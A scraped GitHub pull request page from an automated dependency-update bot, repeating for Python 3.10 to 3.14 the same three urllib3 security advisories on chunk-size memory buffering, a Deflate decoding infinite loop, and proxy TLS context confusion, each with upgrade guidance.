Repository navigation
Updated constraints due security reasons (triggered on 2026-10-12T20:59:05+00:00 by 3d08b2ef7a182c6dd6553d92c7fdd21fdc75f661) - #32
Open
github-actions[bot] wants to merge 1 commit into
Conversation
github-actions
Bot
force-pushed
the
create-pull-request/patch-audit-constraints
branch
from
September 21, 2026 17:56
581172a to
a08020b
Compare
github-actions
Bot
force-pushed
the
create-pull-request/patch-audit-constraints
branch
from
September 28, 2026 19:19
a08020b to
6bf595d
Compare
github-actions
Bot
force-pushed
the
create-pull-request/patch-audit-constraints
branch
from
October 12, 2026 20:59
6bf595d to
8affa09
Compare
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Fixed dependency issues for Python 3.10
\nor EOF. A malicious HTTP server can returnTransfer-Encoding: chunkedand then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended. To fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers. ## Affected usages Applications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the read_chunked() and stream() methods of the HTTPResponse object. This also affects requests streaming API, which uses urllib3 under the hood. ## Remediation Upgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the read() method.Content-Encodingheader. When streaming a compressed, chunked response, urllib3 first consumes data already buffered by the decoder before reading the next HTTP chunk. However, urllib3 versions from 2.6.2 through 2.7.0 could enter an infinite loop when a chunked response contained bytes after the end of the Deflate stream. If the decompressed body exceeded the requested streaming chunk size, Python's zlib implementation could retain the trailing bytes as unconsumed input after reaching the end of the compressed stream. urllib3 would repeatedly attempt to decode those same bytes without making progress or reading more data from the network. A malicious server could exploit this behavior to cause excessive CPU usage and prevent the affected request from completing on the client. Network read timeouts would not interrupt the loop because no further socket operation was required. ### Affected usages Applications and libraries using urllib3 versions 2.6.2 through 2.7.0 may be affected when all of the following conditions are met: 1. Compressed responses from an untrusted source are streamed usingHTTPResponse.stream(amt=N)orHTTPResponse.read_chunked(amt=N)with a positive, finite chunk size. 2. Content decoding is enabled. 3. The response uses bothTransfer-Encoding: chunkedandContent-Encoding: deflate. 4. The decoded body exceeds the requested chunk size and the encoded body contains bytes after the end of the Deflate stream.HTTPResponse.stream()uses a finite chunk size by default and is therefore affected when the other conditions are met. ### Remediation Upgrade to urllib3 2.8.0, in which the Deflate decoder stops accepting input after reaching the end of the compressed stream and no longer reports trailing bytes as data that can produce more decoded output. If upgrading is not immediately possible, disable automatic content decoding for responses from untrusted sources by settingdecode_content=False, or reject streamed responses using the Deflate content encoding. Applications that disable automatic decoding must handle the compressed response safely at another layer.proxy_ssl_context,proxy_assert_hostname, andproxy_assert_fingerprintconfigure the TLS connection to the proxy.ssl_contextand the other target-specific TLS parameters configure the connection to the target server. In urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could: 1. Ignoreproxy_ssl_contextand use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy. 2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy. 3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy. In particular, configuringcert_reqs="CERT_NONE"for a target server could overwrite theverify_modeof the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context. An attacker able to intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection. When HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information. A TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake. In CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server. ## Affected Usages Code using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases. ### 1. The target SSL context is used for an HTTPS forwarding proxy HTTPS requests are forwarded through an HTTPS proxy withuse_forwarding_for_https=True, andproxy_ssl_contextis configured for the proxy. urllib3 may ignoreproxy_ssl_contextand use the target server'sssl_contextfor the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy. ### 2. The target verification policy overrides the proxy policy An HTTPS proxy is configured withproxy_ssl_context, while the target server uses a different certificate-verification policy. urllib3 may apply the target server'scert_reqsvalue to the proxy SSL context. For example, settingcert_reqs="CERT_NONE"for the target server may also disable certificate verification for the HTTPS proxy, even whenproxy_ssl_contextwas configured to require verification. This issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations. ### 3. A mutated proxy SSL context is reused The same SSL context is reused asproxy_ssl_contextacross multiple connections, and certificate verification is disabled for one target server. urllib3 may modify the proxy SSL context'sverify_modein place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification. ### 4. Target-specific TLS identity or credentials are applied to the proxy HTTPS requests are forwarded through an HTTPS proxy withuse_forwarding_for_https=True, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials are configured. urllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to: - send SNI intended for the target server to the proxy; - verify the proxy using a hostname or certificate fingerprint intended for the target server; or - present a TLS client certificate intended for the target server to the proxy. Code connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue. ## Remediation Upgrade to urllib3 2.8.0 or later. urllib3 2.8.0 independently applies the explicitly configuredproxy_ssl_contextand proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake. For backward compatibility, when an HTTPS proxy is used withuse_forwarding_for_https=Trueandproxy_ssl_contextis not provided, urllib3 2.8.0 continues to usessl_contextfor the TLS connection to the proxy. This configuration emits aFutureWarning. In urllib3 3.0, passingssl_contextwithuse_forwarding_for_https=Truefor an HTTPS proxy will raise an error. Applications should useproxy_ssl_contextto configure TLS for an HTTPS forwarding proxy. The fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.Fixed dependency issues for Python 3.11
\nor EOF. A malicious HTTP server can returnTransfer-Encoding: chunkedand then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended. To fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers. ## Affected usages Applications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the read_chunked() and stream() methods of the HTTPResponse object. This also affects requests streaming API, which uses urllib3 under the hood. ## Remediation Upgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the read() method.Content-Encodingheader. When streaming a compressed, chunked response, urllib3 first consumes data already buffered by the decoder before reading the next HTTP chunk. However, urllib3 versions from 2.6.2 through 2.7.0 could enter an infinite loop when a chunked response contained bytes after the end of the Deflate stream. If the decompressed body exceeded the requested streaming chunk size, Python's zlib implementation could retain the trailing bytes as unconsumed input after reaching the end of the compressed stream. urllib3 would repeatedly attempt to decode those same bytes without making progress or reading more data from the network. A malicious server could exploit this behavior to cause excessive CPU usage and prevent the affected request from completing on the client. Network read timeouts would not interrupt the loop because no further socket operation was required. ### Affected usages Applications and libraries using urllib3 versions 2.6.2 through 2.7.0 may be affected when all of the following conditions are met: 1. Compressed responses from an untrusted source are streamed usingHTTPResponse.stream(amt=N)orHTTPResponse.read_chunked(amt=N)with a positive, finite chunk size. 2. Content decoding is enabled. 3. The response uses bothTransfer-Encoding: chunkedandContent-Encoding: deflate. 4. The decoded body exceeds the requested chunk size and the encoded body contains bytes after the end of the Deflate stream.HTTPResponse.stream()uses a finite chunk size by default and is therefore affected when the other conditions are met. ### Remediation Upgrade to urllib3 2.8.0, in which the Deflate decoder stops accepting input after reaching the end of the compressed stream and no longer reports trailing bytes as data that can produce more decoded output. If upgrading is not immediately possible, disable automatic content decoding for responses from untrusted sources by settingdecode_content=False, or reject streamed responses using the Deflate content encoding. Applications that disable automatic decoding must handle the compressed response safely at another layer.proxy_ssl_context,proxy_assert_hostname, andproxy_assert_fingerprintconfigure the TLS connection to the proxy.ssl_contextand the other target-specific TLS parameters configure the connection to the target server. In urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could: 1. Ignoreproxy_ssl_contextand use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy. 2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy. 3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy. In particular, configuringcert_reqs="CERT_NONE"for a target server could overwrite theverify_modeof the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context. An attacker able to intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection. When HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information. A TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake. In CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server. ## Affected Usages Code using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases. ### 1. The target SSL context is used for an HTTPS forwarding proxy HTTPS requests are forwarded through an HTTPS proxy withuse_forwarding_for_https=True, andproxy_ssl_contextis configured for the proxy. urllib3 may ignoreproxy_ssl_contextand use the target server'sssl_contextfor the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy. ### 2. The target verification policy overrides the proxy policy An HTTPS proxy is configured withproxy_ssl_context, while the target server uses a different certificate-verification policy. urllib3 may apply the target server'scert_reqsvalue to the proxy SSL context. For example, settingcert_reqs="CERT_NONE"for the target server may also disable certificate verification for the HTTPS proxy, even whenproxy_ssl_contextwas configured to require verification. This issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations. ### 3. A mutated proxy SSL context is reused The same SSL context is reused asproxy_ssl_contextacross multiple connections, and certificate verification is disabled for one target server. urllib3 may modify the proxy SSL context'sverify_modein place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification. ### 4. Target-specific TLS identity or credentials are applied to the proxy HTTPS requests are forwarded through an HTTPS proxy withuse_forwarding_for_https=True, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials are configured. urllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to: - send SNI intended for the target server to the proxy; - verify the proxy using a hostname or certificate fingerprint intended for the target server; or - present a TLS client certificate intended for the target server to the proxy. Code connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue. ## Remediation Upgrade to urllib3 2.8.0 or later. urllib3 2.8.0 independently applies the explicitly configuredproxy_ssl_contextand proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake. For backward compatibility, when an HTTPS proxy is used withuse_forwarding_for_https=Trueandproxy_ssl_contextis not provided, urllib3 2.8.0 continues to usessl_contextfor the TLS connection to the proxy. This configuration emits aFutureWarning. In urllib3 3.0, passingssl_contextwithuse_forwarding_for_https=Truefor an HTTPS proxy will raise an error. Applications should useproxy_ssl_contextto configure TLS for an HTTPS forwarding proxy. The fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.Fixed dependency issues for Python 3.12
\nor EOF. A malicious HTTP server can returnTransfer-Encoding: chunkedand then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended. To fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers. ## Affected usages Applications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the read_chunked() and stream() methods of the HTTPResponse object. This also affects requests streaming API, which uses urllib3 under the hood. ## Remediation Upgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the read() method.Content-Encodingheader. When streaming a compressed, chunked response, urllib3 first consumes data already buffered by the decoder before reading the next HTTP chunk. However, urllib3 versions from 2.6.2 through 2.7.0 could enter an infinite loop when a chunked response contained bytes after the end of the Deflate stream. If the decompressed body exceeded the requested streaming chunk size, Python's zlib implementation could retain the trailing bytes as unconsumed input after reaching the end of the compressed stream. urllib3 would repeatedly attempt to decode those same bytes without making progress or reading more data from the network. A malicious server could exploit this behavior to cause excessive CPU usage and prevent the affected request from completing on the client. Network read timeouts would not interrupt the loop because no further socket operation was required. ### Affected usages Applications and libraries using urllib3 versions 2.6.2 through 2.7.0 may be affected when all of the following conditions are met: 1. Compressed responses from an untrusted source are streamed usingHTTPResponse.stream(amt=N)orHTTPResponse.read_chunked(amt=N)with a positive, finite chunk size. 2. Content decoding is enabled. 3. The response uses bothTransfer-Encoding: chunkedandContent-Encoding: deflate. 4. The decoded body exceeds the requested chunk size and the encoded body contains bytes after the end of the Deflate stream.HTTPResponse.stream()uses a finite chunk size by default and is therefore affected when the other conditions are met. ### Remediation Upgrade to urllib3 2.8.0, in which the Deflate decoder stops accepting input after reaching the end of the compressed stream and no longer reports trailing bytes as data that can produce more decoded output. If upgrading is not immediately possible, disable automatic content decoding for responses from untrusted sources by settingdecode_content=False, or reject streamed responses using the Deflate content encoding. Applications that disable automatic decoding must handle the compressed response safely at another layer.proxy_ssl_context,proxy_assert_hostname, andproxy_assert_fingerprintconfigure the TLS connection to the proxy.ssl_contextand the other target-specific TLS parameters configure the connection to the target server. In urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could: 1. Ignoreproxy_ssl_contextand use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy. 2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy. 3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy. In particular, configuringcert_reqs="CERT_NONE"for a target server could overwrite theverify_modeof the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context. An attacker able to intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection. When HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information. A TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake. In CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server. ## Affected Usages Code using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases. ### 1. The target SSL context is used for an HTTPS forwarding proxy HTTPS requests are forwarded through an HTTPS proxy withuse_forwarding_for_https=True, andproxy_ssl_contextis configured for the proxy. urllib3 may ignoreproxy_ssl_contextand use the target server'sssl_contextfor the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy. ### 2. The target verification policy overrides the proxy policy An HTTPS proxy is configured withproxy_ssl_context, while the target server uses a different certificate-verification policy. urllib3 may apply the target server'scert_reqsvalue to the proxy SSL context. For example, settingcert_reqs="CERT_NONE"for the target server may also disable certificate verification for the HTTPS proxy, even whenproxy_ssl_contextwas configured to require verification. This issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations. ### 3. A mutated proxy SSL context is reused The same SSL context is reused asproxy_ssl_contextacross multiple connections, and certificate verification is disabled for one target server. urllib3 may modify the proxy SSL context'sverify_modein place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification. ### 4. Target-specific TLS identity or credentials are applied to the proxy HTTPS requests are forwarded through an HTTPS proxy withuse_forwarding_for_https=True, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials are configured. urllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to: - send SNI intended for the target server to the proxy; - verify the proxy using a hostname or certificate fingerprint intended for the target server; or - present a TLS client certificate intended for the target server to the proxy. Code connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue. ## Remediation Upgrade to urllib3 2.8.0 or later. urllib3 2.8.0 independently applies the explicitly configuredproxy_ssl_contextand proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake. For backward compatibility, when an HTTPS proxy is used withuse_forwarding_for_https=Trueandproxy_ssl_contextis not provided, urllib3 2.8.0 continues to usessl_contextfor the TLS connection to the proxy. This configuration emits aFutureWarning. In urllib3 3.0, passingssl_contextwithuse_forwarding_for_https=Truefor an HTTPS proxy will raise an error. Applications should useproxy_ssl_contextto configure TLS for an HTTPS forwarding proxy. The fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.Fixed dependency issues for Python 3.13
\nor EOF. A malicious HTTP server can returnTransfer-Encoding: chunkedand then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended. To fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers. ## Affected usages Applications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the read_chunked() and stream() methods of the HTTPResponse object. This also affects requests streaming API, which uses urllib3 under the hood. ## Remediation Upgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the read() method.Content-Encodingheader. When streaming a compressed, chunked response, urllib3 first consumes data already buffered by the decoder before reading the next HTTP chunk. However, urllib3 versions from 2.6.2 through 2.7.0 could enter an infinite loop when a chunked response contained bytes after the end of the Deflate stream. If the decompressed body exceeded the requested streaming chunk size, Python's zlib implementation could retain the trailing bytes as unconsumed input after reaching the end of the compressed stream. urllib3 would repeatedly attempt to decode those same bytes without making progress or reading more data from the network. A malicious server could exploit this behavior to cause excessive CPU usage and prevent the affected request from completing on the client. Network read timeouts would not interrupt the loop because no further socket operation was required. ### Affected usages Applications and libraries using urllib3 versions 2.6.2 through 2.7.0 may be affected when all of the following conditions are met: 1. Compressed responses from an untrusted source are streamed usingHTTPResponse.stream(amt=N)orHTTPResponse.read_chunked(amt=N)with a positive, finite chunk size. 2. Content decoding is enabled. 3. The response uses bothTransfer-Encoding: chunkedandContent-Encoding: deflate. 4. The decoded body exceeds the requested chunk size and the encoded body contains bytes after the end of the Deflate stream.HTTPResponse.stream()uses a finite chunk size by default and is therefore affected when the other conditions are met. ### Remediation Upgrade to urllib3 2.8.0, in which the Deflate decoder stops accepting input after reaching the end of the compressed stream and no longer reports trailing bytes as data that can produce more decoded output. If upgrading is not immediately possible, disable automatic content decoding for responses from untrusted sources by settingdecode_content=False, or reject streamed responses using the Deflate content encoding. Applications that disable automatic decoding must handle the compressed response safely at another layer.proxy_ssl_context,proxy_assert_hostname, andproxy_assert_fingerprintconfigure the TLS connection to the proxy.ssl_contextand the other target-specific TLS parameters configure the connection to the target server. In urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could: 1. Ignoreproxy_ssl_contextand use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy. 2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy. 3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy. In particular, configuringcert_reqs="CERT_NONE"for a target server could overwrite theverify_modeof the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context. An attacker able to intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection. When HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information. A TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake. In CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server. ## Affected Usages Code using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases. ### 1. The target SSL context is used for an HTTPS forwarding proxy HTTPS requests are forwarded through an HTTPS proxy withuse_forwarding_for_https=True, andproxy_ssl_contextis configured for the proxy. urllib3 may ignoreproxy_ssl_contextand use the target server'sssl_contextfor the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy. ### 2. The target verification policy overrides the proxy policy An HTTPS proxy is configured withproxy_ssl_context, while the target server uses a different certificate-verification policy. urllib3 may apply the target server'scert_reqsvalue to the proxy SSL context. For example, settingcert_reqs="CERT_NONE"for the target server may also disable certificate verification for the HTTPS proxy, even whenproxy_ssl_contextwas configured to require verification. This issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations. ### 3. A mutated proxy SSL context is reused The same SSL context is reused asproxy_ssl_contextacross multiple connections, and certificate verification is disabled for one target server. urllib3 may modify the proxy SSL context'sverify_modein place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification. ### 4. Target-specific TLS identity or credentials are applied to the proxy HTTPS requests are forwarded through an HTTPS proxy withuse_forwarding_for_https=True, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials are configured. urllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to: - send SNI intended for the target server to the proxy; - verify the proxy using a hostname or certificate fingerprint intended for the target server; or - present a TLS client certificate intended for the target server to the proxy. Code connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue. ## Remediation Upgrade to urllib3 2.8.0 or later. urllib3 2.8.0 independently applies the explicitly configuredproxy_ssl_contextand proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake. For backward compatibility, when an HTTPS proxy is used withuse_forwarding_for_https=Trueandproxy_ssl_contextis not provided, urllib3 2.8.0 continues to usessl_contextfor the TLS connection to the proxy. This configuration emits aFutureWarning. In urllib3 3.0, passingssl_contextwithuse_forwarding_for_https=Truefor an HTTPS proxy will raise an error. Applications should useproxy_ssl_contextto configure TLS for an HTTPS forwarding proxy. The fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.Fixed dependency issues for Python 3.14
\nor EOF. A malicious HTTP server can returnTransfer-Encoding: chunkedand then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended. To fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers. ## Affected usages Applications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the read_chunked() and stream() methods of the HTTPResponse object. This also affects requests streaming API, which uses urllib3 under the hood. ## Remediation Upgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the read() method.Content-Encodingheader. When streaming a compressed, chunked response, urllib3 first consumes data already buffered by the decoder before reading the next HTTP chunk. However, urllib3 versions from 2.6.2 through 2.7.0 could enter an infinite loop when a chunked response contained bytes after the end of the Deflate stream. If the decompressed body exceeded the requested streaming chunk size, Python's zlib implementation could retain the trailing bytes as unconsumed input after reaching the end of the compressed stream. urllib3 would repeatedly attempt to decode those same bytes without making progress or reading more data from the network. A malicious server could exploit this behavior to cause excessive CPU usage and prevent the affected request from completing on the client. Network read timeouts would not interrupt the loop because no further socket operation was required. ### Affected usages Applications and libraries using urllib3 versions 2.6.2 through 2.7.0 may be affected when all of the following conditions are met: 1. Compressed responses from an untrusted source are streamed usingHTTPResponse.stream(amt=N)orHTTPResponse.read_chunked(amt=N)with a positive, finite chunk size. 2. Content decoding is enabled. 3. The response uses bothTransfer-Encoding: chunkedandContent-Encoding: deflate. 4. The decoded body exceeds the requested chunk size and the encoded body contains bytes after the end of the Deflate stream.HTTPResponse.stream()uses a finite chunk size by default and is therefore affected when the other conditions are met. ### Remediation Upgrade to urllib3 2.8.0, in which the Deflate decoder stops accepting input after reaching the end of the compressed stream and no longer reports trailing bytes as data that can produce more decoded output. If upgrading is not immediately possible, disable automatic content decoding for responses from untrusted sources by settingdecode_content=False, or reject streamed responses using the Deflate content encoding. Applications that disable automatic decoding must handle the compressed response safely at another layer.proxy_ssl_context,proxy_assert_hostname, andproxy_assert_fingerprintconfigure the TLS connection to the proxy.ssl_contextand the other target-specific TLS parameters configure the connection to the target server. In urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could: 1. Ignoreproxy_ssl_contextand use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy. 2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy. 3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy. In particular, configuringcert_reqs="CERT_NONE"for a target server could overwrite theverify_modeof the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context. An attacker able to intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection. When HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information. A TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake. In CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server. ## Affected Usages Code using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases. ### 1. The target SSL context is used for an HTTPS forwarding proxy HTTPS requests are forwarded through an HTTPS proxy withuse_forwarding_for_https=True, andproxy_ssl_contextis configured for the proxy. urllib3 may ignoreproxy_ssl_contextand use the target server'sssl_contextfor the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy. ### 2. The target verification policy overrides the proxy policy An HTTPS proxy is configured withproxy_ssl_context, while the target server uses a different certificate-verification policy. urllib3 may apply the target server'scert_reqsvalue to the proxy SSL context. For example, settingcert_reqs="CERT_NONE"for the target server may also disable certificate verification for the HTTPS proxy, even whenproxy_ssl_contextwas configured to require verification. This issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations. ### 3. A mutated proxy SSL context is reused The same SSL context is reused asproxy_ssl_contextacross multiple connections, and certificate verification is disabled for one target server. urllib3 may modify the proxy SSL context'sverify_modein place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification. ### 4. Target-specific TLS identity or credentials are applied to the proxy HTTPS requests are forwarded through an HTTPS proxy withuse_forwarding_for_https=True, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS 